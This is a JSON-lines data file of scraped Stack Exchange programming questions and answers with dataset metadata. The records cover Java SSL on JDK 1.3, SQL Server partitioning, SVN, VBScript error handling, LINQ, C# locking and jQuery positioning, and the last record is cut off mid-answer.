{"id": "hf_c2c6e0efa2bc", "question": "<p>I have to work on an old 1.3 JVM and I'm asked to create a secure connection to another server. Unfortunately the HttpsURLConnection only appears sinc JVM 1.4. </p>\n\n<p>Is there another way to create a secure connection? Is there a library that I could you to add this fonctionnality?</p>\n", "question_body": "", "answer": "You need to install the Java Secure Socket Extension (JSSE), which used to be required because Sun wouldn't ship it with the JDK because of comedy export restrictions. I had a look on Sun's web site, but the JDK 1.3 instructions are preving elusive.  Bear in mind that JDK 1.3 is now end-of-lifed by Sun, so they may not have any information any more.\nhttp://hc.apache.org/httpclient-3.x/sslguide.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.264159"}
{"id": "hf_fdd0b0d7e278", "question": "<p>I'm discovering a simple solution for singular-plural keywords searches. I heard about stemming but I don't want to use all its features, only plural/singular transformation. The language is Dutch. Have looked at <a href=\"http://www.snowball.tartarus.org\" rel=\"nofollow noreferrer\">http://www.snowball.tartarus.org</a> before. Does anyone know the simple solution for singular|plural relevant searches?\nThanks in advance.</p>\n", "question_body": "", "answer": "Use a dictionary, a list of stopwords (those you don't want to singularize) plus the rules for the language. If you don't know Dutch then I cannot help you, but show you how it'd be done in Spanish, for instance:\nPlurals end with s, if it doesn't then it's done\nIf it ends with s,\ncheck if it's a verb or conjugation ending with s if it is one, then it's done (verbs could be added to the stopwords list)\nif it's not a verb, remove s\nif the word exists in the dictionary, done\nif it doesn't remove the previous letter, and check it in the dictionary.\nif it's still not there it's an exception you'll need to check manually to code in the exceptions (I cannot right now think of any, but they always exist :)\nOf course this will not translate directly to Dutch.\nIn general stemmers are already done and provide most of what you need, why don't you want them?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.322577"}
{"id": "hf_770a62de8afe", "question": "<p>I've got a XmlNodeList which I need to have it in a format that I can then re-use within a XSLT stylesheet by calling it from a C# extension method.</p>\n\n<p>Can anyone help? I have read that it might have something to do with using a XPathNavigator but I'm still a bit stuck.</p>\n", "question_body": "", "answer": "I had to solve this issue myself a couple of years ago. The only way I managed it was to create an XML fragment containing the nodes in the node list and then passing in the children of the fragment.\n```\n```\nXsltArgumentList arguments = new XsltArgumentList();\nXmlNodeList nodelist;\nXmlDocument nodesFrament = new XmlDocument();\nXmlNode root = nodesFragment.CreateElement(\"root\");\nforeach (XmlNode node in nodeList)\n{\n    root.AppendChild(node);\n}\nnodesFragment.AppendChild(root);\n\narguments.AddParam(\"argumentname\", string.Empty, nodesFragment.CreateNavigator().SelectChildren(XPathNodeType.All));\n```\n```\nThen you need to make sure you have the corresponding argument in your XSLT, of course.\nNote that you probably don't need the additional XmlDocument. You could just call CreateNavigator() on the root XmlNode instance and use your existing XmlDocument for creating the element (I wrote this code some time ago and I've learned more since then - but I know the code above works, I haven't tried any alternatives).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.358206"}
{"id": "hf_94d45ce7b7f8", "question": "<p>I understand access modifiers at the class level and below, but why would an entire assembly be private? I assume by default, assemblies are public?</p>\n", "question_body": "", "answer": "Well, in the context of assemblies, private means the assembly cannot be referenced by another application outside the directory it's contained in. Therefore, private to the application it's being used for.\nAs for your question about the default being public....someone correct me if I'm wrong, but there is no public. It would be shared. A shared assembly can obviously be referenced by multiple applications and must reside in the GAC. All the rules of the GAC would then apply.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.393711"}
{"id": "hf_2a5eeb5102ed", "question": "<p>Background</p>\n\n<p>I have a massive db for a SharePoint site collection.  It is 130GB and growing at 10gb per month.  100GB of the 130GB is in one site collection. 30GB is the version table.  There is only one site collection - this is by design.</p>\n\n<p>Question</p>\n\n<p>Am I able to partition a database (SharePoint) using SQL 2005s data partitioning features (creating multiple data files)?\nIs it possible to partition a database that is already created?\nHas anyone partitioned a SharePoint DB? Will I encounter any issues?</p>\n", "question_body": "", "answer": "You would have to create a partition set and rebuild the table on that partition set.  SQL2005 can only partition on a single column, so you would have to have a column in the DB that\nBehaves fairly predictably so you don't get a large skew in the amount of data in each partition\nIIRC the column has to be a numeric or datetime value\nIn practice it's easiest if it's monotonically increasing - you can create a series of partitions (automatically or manually) and the system will fill them up as it gets to the range definitions.\nA date (perhaps the date the document was entered) would be ideal.  However, you may or may not have a useful column on the large table.  M.S. tech support would be the best source of advice for this.\nThe partitioning\nshould\nbe transparent to the application (again, you need a column with appropriate behaviour to use as a partition key).\nUnless you are lucky enough to have a partition key column that is also used as a search predicate in the most common queries you may not get much query performance benefit from the partitioning.  An example of a column that works well is a date column on a data warehouse.  However, your Sharepoint application may not make extensive use of this sort fo query.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.417007"}
{"id": "hf_0f7fe8319be1", "question": "<p>I'm using VisualSVN Server to host an SVN repo, and for some automation work, I'd like to be able to get specific versions via the http[s] layer.</p>\n\n<p>I can get the HEAD version simply via an http[s] request to the server (httpd?) - but is there any ability to specify the revision, perhaps as a query-string? I can't seem to find it...</p>\n\n<p>I don't want to do a checkout unless I can help it, as there are a lot of files in the specific folder, and I don't want them all - just one or two.</p>\n", "question_body": "", "answer": "Subversion does not publicly document the Uris it uses internally to access that information. (And where it is documented, it is explicitly stated that this can change in future versions)\nTo access this information on the web you could use a web viewer (E.g.\nwebsvn,\nviewvc\n).\nIf you want to access it from your own program you could also use a client binding like SharpSvn.\n```\n```\nusing (SvnClient client = new SvnClient())\nusing (FileStream fs = File.Create(\"c:\\\\temp\\\\file.txt\"))\n{\n    // Perform svn cat http://svn.collab.net/svn/repos/trunk/COMMITTERS -r 23456 \n    //                    > file.txt\n\n    SvnCatArgs a = new SvnCatArgs();\n    a.Revision = 23456;\n    client.Cat(new Uri(\"http://svn.collab.net/svn/repos/trunk/COMMITTERS\"), a, fs);\n}\n```\n```\n[Update 2008-12-31: One of the next few versions of Subversion will start documenting public urls you can use for retrieving old versions.]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.476041"}
{"id": "hf_c55a0ba9867c", "question": "<p>Getting sporadic errors from users of a CMS; Ajax requests sometimes result in a \"501 Method not implemented\" response from the server. Not all the time; usually works. </p>\n\n<p>Application has been stable for months. Users seem to be getting it with Firefox 3. I've seen a couple references via Google to such problems being related to having \"charset=UTF-8\" in the Content-type header, but these may be spurious</p>\n\n<p>Has anyone seen this error or have any ideas about what the cause could be?</p>\n\n<p>Thanks</p>\n\n<p>Ian</p>\n", "question_body": "", "answer": "You may want to check the logs of the server to see what's causing the issue. For example, it might be that these requests are garbled, say, because of a flaw in the HTTP 1.1 persistent connection implementation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.545982"}
{"id": "hf_0c2e15bb96bf", "question": "<p>I'm trying to change the background color of a single subplot in a MATLAB figure.</p>\n\n<p>It's clearly feasible since the UI allows it, but I cannot find the function to automate it.</p>\n\n<p>I've looked into <code>whitebg</code>, but it changes the color scheme of the whole figure, not just the current subplot. </p>\n\n<p>(I'm using MATLAB Version 6.1 by the way)</p>\n", "question_body": "", "answer": "I've not used Matlab in several years, but I think it might well be the whitebg method called after the subplot declaration, similar to the way in which you would set a title.\n```\n```\nsubplot(3, 2, 4), hist(rand(50)), whitebg('y');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.570084"}
{"id": "hf_6dd8fd5cdafe", "question": "<p>How do I use the ofstream to write text to the end of a file without erasing its content inside?</p>\n", "question_body": "", "answer": "You can pass the flag\n```\nios::app\n```\nwhen opening the file:\n```\n```\nofstream ofs(\"filename\", ios::app);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.593579"}
{"id": "hf_a0eb4e7675c4", "question": "<p>Which Ajax framework/toolkit can you recommend for building the GUI of web applications that are using struts?</p>\n", "question_body": "", "answer": "Struts already come with\nDojo\nframework. You can set your application theme to ajax and you will be able to use it.\nGive a look at struts.ui.theme property at struts.properties file!\nA good article for you to read is\nthis one at  JavaWorld", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.641652"}
{"id": "hf_fb46c1cb7ace", "question": "<p>I want to use VBScript to catch errors and log them (ie on error \"log something\") then resume the next line of the script.</p>\n\n<p>For example,</p>\n\n<pre>\nOn Error Resume Next\n'Do Step 1\n'Do Step 2\n'Do Step 3\n</pre>\n\n<p>When an error occurs on step 1, I want it to log that error (or perform other custom functions with it) then resume at step 2. Is this possible? and how can I implement it?</p>\n\n<p>EDIT: Can I do something like this?</p>\n\n<pre>\nOn Error Resume myErrCatch\n'Do step 1\n'Do step 2\n'Do step 3\n\nmyErrCatch:\n'log error\nResume Next\n</pre>\n", "question_body": "", "answer": "VBScript has no notion of throwing or catching exceptions, but the runtime provides a global Err object that contains the results of the last operation performed. You have to explicitly check whether the Err.Number property is non-zero after each operation.\n```\n```\nOn Error Resume Next\n\nDoStep1\n\nIf Err.Number <> 0 Then\n  WScript.Echo \"Error in DoStep1: \" & Err.Description\n  Err.Clear\nEnd If\n\nDoStep2\n\nIf Err.Number <> 0 Then\n  WScript.Echo \"Error in DoStop2:\" & Err.Description\n  Err.Clear\nEnd If\n\n'If you no longer want to continue following an error after that block's completed,\n'call this.\nOn Error Goto 0\n```\n```\nThe \"On Error Goto [label]\" syntax is supported by Visual Basic and Visual Basic for Applications (VBA), but VBScript doesn't support this language feature so you have to use On Error Resume Next as described above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.669531"}
{"id": "hf_9d339095106c", "question": "<p>For a university project I programmed a Internet Explorer Browser Helper Object to process  web document information while browsing. It were running successful on Windows XP with IE6 and IE7.</p>\n\n<p>Now I have the issue that under Windows Vista the same BHO needs administrator rights to run. Browser and BHO running if you start the IE as administrator but if you start as normal user it crashes.</p>\n\n<p>The BHO is of course registered on the system and activated in the browser.</p>\n\n<p>What can I do that a user with non-admin rights can run the registered and activated BHO? Or is maybe something else the reason and I totally miss it?</p>\n\n<p>Thank you very much for your help!</p>\n", "question_body": "", "answer": "Not sure if your problem is related to custom actions in your installer but the following two links should help you.\nBuilding a BHO with the UAC in mind -\nhttp://simonguest.com/blogs/smguest/archive/2006/11/19/Building-Browser-Helper-Objects-using-Managed-Code.aspx\n(a little over half way down)\nUsing the NoImpersonate script -\nhttp://blogs.msdn.com/astebner/archive/2007/05/28/2958062.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.692650"}
{"id": "hf_697cca8f9ca8", "question": "<p>I have a program which needs to behave slightly differently on Tiger than on Leopard. Does anybody know of a system call which will allow me to accurately determine which version of Mac OS X I am running. I have found a number of macro definitions to determine the OS of the build machine, but nothing really good to determine the OS of the running machine.</p>\n\n<p>Thanks,\nJoe</p>\n", "question_body": "", "answer": "In terminal:\n```\n```\nsystem_profiler SPSoftwareDataType\n```\n```\nGives:\n```\n```\nSoftware:\n\n    System Software Overview:\n\n      System Version: Mac OS X 10.5.5 (9F33)\n      Kernel Version: Darwin 9.5.0\n      Boot Volume: Main\n      Boot Mode: Normal\n      Computer Name: phoenix\n      User Name: Douglas F Shearer (dougal)\n      Time since boot: 2 days 16:55\n```\n```\nOr:\n```\n```\nsw_vers\n```\n```\nGives:\n```\n```\nProductName:    Mac OS X\nProductVersion: 10.5.5\nBuildVersion:   9F33\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.716555"}
{"id": "hf_70f78ccc16e5", "question": "<p>I'm trying to format a column in a <code>&lt;table/&gt;</code> using a <code>&lt;col/&gt;</code> element. I can set <code>background-color</code>, <code>width</code>, etc., but can't set the <code>font-weight</code>. Why doesn't it work?</p>\n\n<pre><code>&lt;table&gt;\n    &lt;col style=\"font-weight:bold; background-color:#CCC;\"&gt;\n    &lt;col&gt;\n    &lt;tr&gt;\n        &lt;td&gt;1&lt;/td&gt;\n        &lt;td&gt;2&lt;/td&gt;\n    &lt;/tr&gt;\n    &lt;tr&gt;\n        &lt;td&gt;3&lt;/td&gt;\n        &lt;td&gt;4&lt;/td&gt;\n    &lt;/tr&gt;\n&lt;/table&gt;\n</code></pre>\n", "question_body": "", "answer": "A\n```\ncol\n```\ntag must be inside of a\n```\ncolgroup\n```\ntag, This may be something to do with the problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.751788"}
{"id": "hf_e33677ec9594", "question": "<p>I am looking for a way in LINQ to match the follow SQL Query.</p>\n\n<pre><code>Select max(uid) as uid, Serial_Number from Table Group BY Serial_Number\n</code></pre>\n\n<p>Really looking for some help on this one.  The above query gets the max uid of each Serial Number because of the <code>Group By</code> Syntax.</p>\n", "question_body": "", "answer": "```\n```\nusing (DataContext dc = new DataContext())\n        {\n            var q = from t in dc.TableTests\n                    group t by t.SerialNumber\n                        into g\n                        select new\n                        {\n                            SerialNumber = g.Key,\n                            uid = (from t2 in g select t2.uid).Max()\n                        };\n        }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.787145"}
{"id": "hf_6e773c17be9e", "question": "<p>This is sort of SQL newbie question, I think, but here goes.</p>\n\n<p>I have a SQL Query (SQL Server 2005) that I've put together based on an example user-defined function:</p>\n\n<pre><code>SELECT \n    CASEID,\n    GetNoteText(CASEID)\nFROM \n( \n    SELECT \n        CASEID \n    FROM \n        ATTACHMENTS \n    GROUP BY \n        CASEID \n) i\nGO \n</code></pre>\n\n<p>the UDF works great (it concatenates data from multiple rows in a related table, if that matters at all) but I'm confused about the \"i\" after the FROM clause.  The query works fine with the i but fails without it.  What is the significance of the \"i\"?</p>\n\n<p>EDIT: As Joel noted below, it's not a keyword</p>\n", "question_body": "", "answer": "When you use a subquery in the FROM clause, you need to give the query a name.  Since the name doesn't really matter to you, something simple like 'i' or 'a' is often chosen.  But you could put any name there you wanted- there's no significance to 'i' all by itself, and it's certainly not a keyword.\nIf you have a really complex query, you may need to join your sub query with other queries or tables. In that case the name becomes more important and you should choose something more meaningful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.858803"}
{"id": "hf_a4ae1cff6d88", "question": "<p>What is the benefit of using the servletContext as opposed the request in order to obtain a requestDispatcher?</p>\n\n<pre><code>servletContext.getRequestDispatcher(dispatchPath)\n</code></pre>\n\n<p>and using </p>\n\n<pre><code>argRequest.getRequestDispatcher(dispatchPath)\n</code></pre>\n", "question_body": "", "answer": "It's there in the javadocs in black and white\nhttp://java.sun.com/javaee/5/docs/api/javax/servlet/ServletRequest.html#getRequestDispatcher(java.lang.String)\nThe difference between this method and\n  ServletContext.getRequestDispatcher(java.lang.String)\n  is that this method can take a\n  relative path.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.894730"}
{"id": "hf_6247b8f0e823", "question": "<p>I am looking to replace the life cycle tools currently used by my development teams.\nTools that I'm looking for:</p>\n\n<ul>\n<li>Version Control</li>\n<li>Defect/Issue Tracking</li>\n<li>Requirements Tracking</li>\n<li>Test Case Management</li>\n<li>(potentially) Project Management: Project Status, hours entry</li>\n</ul>\n\n<p>I have a new beefy server (Windows 2008 Server) to run all tools on.  I'm looking at COTS and Open Source options, but haven't decided so far.</p>\n\n<p>Other factors:</p>\n\n<ul>\n<li>Distributed team (different physical sites)</li>\n<li>Some Windows Development, some Linux Development</li>\n<li>Software, Firmware, Technical Writing need to be able to use it</li>\n</ul>\n\n<p>Recommendations on a good suite that will work together?<br>\nIf Open Source, best approach to run on the Windows 2008 Server?</p>\n", "question_body": "", "answer": "Svn/Trac plus a few plugins will probably get you most of the way there for free.\nIf you use the version supplied by visualsvn (they bundle both trac and subversion) its a nice easy setup too.\nhttp://www.visualsvn.com/server/\nhttp://trac.edgewall.org/\nhttp://trac-hacks.org/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.942495"}
{"id": "hf_3c1bfc2aca1e", "question": "<p>I'm having a test hang in our rails app can't figure out which one (since it hangs and doesn't get to the failure report).  I found this blog post <a href=\"http://bmorearty.wordpress.com/2008/06/18/find-tests-more-easily-in-your-testlog/\" rel=\"noreferrer\">http://bmorearty.wordpress.com/2008/06/18/find-tests-more-easily-in-your-testlog/</a> which adds a setup hook to print the test name but when I try to do the same thing it gives me an error saying wrong number of arguments for setup (1 for 0).  Any help at all would be appreciated.</p>\n", "question_body": "", "answer": "What test framework are you using?  Test/Unit?\nI would take a look at RSpec which would provide a little more context for your tests.  You can also get a nice HTML report that looks like this:\nRSpec Result http://myskitch.com/robbyrussell/rspec_results-20070801-233809.jpg\nHad you had any failing tests, the specific test would be red and it would expand to the specific lines where the test failed to provide you more visibility on why the test failed and where you should look to address the issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.966303"}
{"id": "hf_0c9dc59e5ebc", "question": "<p>Can ZK easily be integrated in a struts web application?</p>\n", "question_body": "", "answer": "maybe you can find it interesting:\nhttp://www.zkoss.org/smalltalks/zk-sample/zk-sample.html\nmoreover, you can browse a bit the zk forum you can find on\nhttp://www.zkoss.org/\nitself, it is more than easy to find some discussion about that.\nhope it can help\nluca", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.990046"}
{"id": "hf_b02995af4f70", "question": "<p>The subject says it all, almost. How do I automatically fix jsp pages so that relative URLs are mapped to the context path instead of the server root? That is, given for example</p>\n\n<pre><code>&lt;link rel=\"stylesheet\" type=\"text/css\" href=\"/css/style.css\" /&gt;\n</code></pre>\n\n<p>how do I set-up things in a way that maps the css to <code>my-server/my-context/css/style.css</code> instead of <code>my-server/css/style.css</code>? Is there an automatic way of doing that, other than changing all lines like the above to</p>\n\n<pre><code>&lt;link rel=\"stylesheet\" type=\"text/css\" \n      href=\"&lt;%= request.getContextPath() %&gt;/css/style.css\" /&gt;\n</code></pre>\n", "question_body": "", "answer": "Look into the\n```\n<BASE HREF=\"\">\n```\ntag. This is an HTML tag which will mean all links on the page should start with your base URL.\nFor example, if you specified\n```\n<BASE HREF=\"http://www.example.com/prefix\">\n```\nand then had\n```\n<a href=\"/link/1.html\">\n```\nthen the link should actually take you to /prefix/link/1.html. This should also work on\n```\n<LINK>\n```\n(stylesheet) tags.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.025262"}
{"id": "hf_cd716e19075f", "question": "<p>I've got a situation where I need to use LINQ's ExecuteCommand method to run an insert.</p>\n\n<p>Something like (simplified for purposes of this question):</p>\n\n<pre><code>object[] oParams = { Guid.NewGuid(), rec.WebMethodID };\n\nTransLogDataContext.ExecuteCommand (\n\"INSERT INTO dbo.Transaction_Log (ID, WebMethodID) VALUES ({0}, {1})\",\noParams);\n</code></pre>\n\n<p>The question is if this is SQL injection proof in the same way parameterized queries are?</p>\n", "question_body": "", "answer": "Did some research, and I found this:\nIn my simple testing, it looks like\n  the parameters passed in the\n  ExecuteQuery and ExecuteCommand\n  methods are automatically SQL encoded\n  based on the value being supplied.  So\n  if you pass in a string with a '\n  character, it will automatically SQL\n  escape it to ''.  I believe a similar\n  policy is used for other data types\n  like DateTimes, Decimals, etc.\nhttp://weblogs.asp.net/scottgu/archive/2007/08/27/linq-to-sql-part-8-executing-custom-sql-expressions.aspx\n(You have scroll way down to find it)\nThis seems a little odd to me - most other .Net tools know better than to \"SQL escape\" anything; they use real query parameters instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.087585"}
{"id": "hf_7ca6c7fefac6", "question": "<p>I was able to implement a thread-safe Dictionary in C# by deriving from IDictionary and defining a private SyncRoot object:</p>\n\n<pre><code>public class SafeDictionary&lt;TKey, TValue&gt;: IDictionary&lt;TKey, TValue&gt;\n{\n    private readonly object syncRoot = new object();\n    private Dictionary&lt;TKey, TValue&gt; d = new Dictionary&lt;TKey, TValue&gt;();\n\n    public object SyncRoot\n    {\n        get { return syncRoot; }\n    } \n\n    public void Add(TKey key, TValue value)\n    {\n        lock (syncRoot)\n        {\n            d.Add(key, value);\n        }\n    }\n\n    // more IDictionary members...\n}\n</code></pre>\n\n<p>I then lock on this SyncRoot object throughout my consumers (multiple threads):</p>\n\n<p>Example:</p>\n\n<pre><code>lock (m_MySharedDictionary.SyncRoot)\n{\n    m_MySharedDictionary.Add(...);\n}\n</code></pre>\n\n<p>I was able to make it work, but this resulted in some ugly code.  My question is, is there a better, more elegant way of implementing a thread-safe Dictionary?</p>\n", "question_body": "", "answer": "You don't need to lock the SyncRoot property in your consumer objects.  The lock you have within the methods of the dictionary is sufficient.\nTo Elaborate:\nWhat ends up happening is that your dictionary is locked for a longer period of time than is necessary.\nWhat happens in your case is the following:\nSay thread A acquires the lock on SyncRoot\nbefore\nthe call to m_mySharedDictionary.Add.  Thread B then attempts to acquire the lock but is blocked.  In fact, all other threads are blocked.  Thread A is allowed to call into the Add method.  At the lock statement within the Add method, thread A is allowed to obtain the lock again because it already owns it.  Upon exiting the lock context within the method and then outside the method, thread A has released all locks allowing other threads to continue.\nYou can simply allow any consumer to call into the Add method as the lock statement within your SharedDictionary class Add method will have the same effect.  At this point in time, you have redundant locking.  You would only lock on SyncRoot outside of one of the dictionary methods if you had to perform two operations on the dictionary object that needed to be guaranteed to occur consecutively.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.112120"}
{"id": "hf_718313750ab8", "question": "<p>Given an array of type <code>Element[]</code>:</p>\n<pre><code>Element[] array = {new Element(1), new Element(2), new Element(3)};\n</code></pre>\n<p>How do I convert this array into an object of type <a href=\"https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/ArrayList.html\" rel=\"noreferrer\"><code>ArrayList&lt;Element&gt;</code></a>?</p>\n<pre><code>ArrayList&lt;Element&gt; arrayList = ???;\n</code></pre>\n", "question_body": "", "answer": "```\n```\nnew ArrayList<>(Arrays.asList(array));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.147968"}
{"id": "hf_59178c0fd20c", "question": "<p>In low latency trading applications we are very conscious of latency issues.  There is some concern that our application may experience increased latency if the server on which it is running changes PowerNow state.</p>\n\n<p>Any kernel developers familiar with calling PowerNow changes and how much processor time is used for the operation and what the latency/delay characteristics are like?</p>\n\n<p>The same information for Intel SpeedStep would be useful but PowerNow is what we actually use.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I doubt it has any latency. PowerNow just lowers core frequency and core voltage. I don't know that it will halt the CPU for a short time to do so and then resume processing after the change. AFAIK the change happens on the fly, the processing is not interrupted for that.\nThus the bigger problem might be that you rely on a certain speed (e.g. you assume the processor can perform that many operations a second), however when the core frequency is lowered, it will behave like a slower CPU (less operations per second) and the core frequency doesn't jump to max just because the CPU is not 100% idle. It will jump up again, when the CPU thinks it needs more processing power than it currently has.\nOn Linux PowerNow can cause bad issues if you run VMWare with Windows on it. Windows fails to correctly update the internal clock, as it seems to not detect that PowerNow is in effect (I guess because it runs within a virtual machine) and VMWare for Linux fails to handle the situation correctly as well. So the Windows clock will fall behind as soon as PowerNow is active and every now and then VMWare detects that and corrects the clock again. So far so well, but applications relying on the Windows clock will see this strange jump and behave rather oddly (e.g. a radio streaming software I know will jump within the MP3 stream and skip a couple of milliseconds every time the clock is resynced).\nIf your application depends strongly on a steady program flow, you may like to disable the PowerNow feature completely. With the Internet radio stream software, that was the only way to solve the skipping issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.171429"}
{"id": "hf_939735a7790b", "question": "<p>How do I use the UNIX command <code>find</code> to search for files created on a specific date?</p>\n", "question_body": "", "answer": "You could do this:\n```\n```\nfind ./ -type f -ls |grep '10 Sep'\n```\n```\nExample:\n```\n```\n[root@pbx etc]# find /var/ -type f -ls | grep \"Dec 24\"\n791235    4 -rw-r--r--   1 root     root           29 Dec 24 03:24 /var/lib/prelink/full\n798227  288 -rw-r--r--   1 root     root       292323 Dec 24 23:53 /var/log/sa/sar24\n797244  320 -rw-r--r--   1 root     root       321300 Dec 24 23:50 /var/log/sa/sa24\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.242630"}
{"id": "hf_1033fab7fdc2", "question": "<p>I have a hidden DIV which contains a toolbar-like menu.</p>\n\n<p>I have a number of DIVs which are enabled to show the menu DIV when the mouse hovers over them.</p>\n\n<p>Is there a built-in function which will move the menu DIV to the top right of the active (mouse hover) DIV? I'm looking for something like <code>$(menu).position(\"topright\", targetEl);</code></p>\n", "question_body": "", "answer": "tl;dr:\n(try it\nhere\n)\nIf you have the following HTML:\n```\n```\n<div id=\"menu\" style=\"display: none;\">\n   <!-- menu stuff in here -->\n   <ul><li>Menu item</li></ul>\n</div>\n\n<div class=\"parent\">Hover over me to show the menu here</div>\n```\n```\nthen you can use the following JavaScript code:\n```\n```\n$(\".parent\").mouseover(function() {\n    // .position() uses position relative to the offset parent, \n    var pos = $(this).position();\n\n    // .outerWidth() takes into account border and padding.\n    var width = $(this).outerWidth();\n\n    //show the menu directly over the placeholder\n    $(\"#menu\").css({\n        position: \"absolute\",\n        top: pos.top + \"px\",\n        left: (pos.left + width) + \"px\"\n    }).show();\n});\n```\n```\nBut it doesn't work!\nThis will work as long as the menu and the placeholder have the same offset 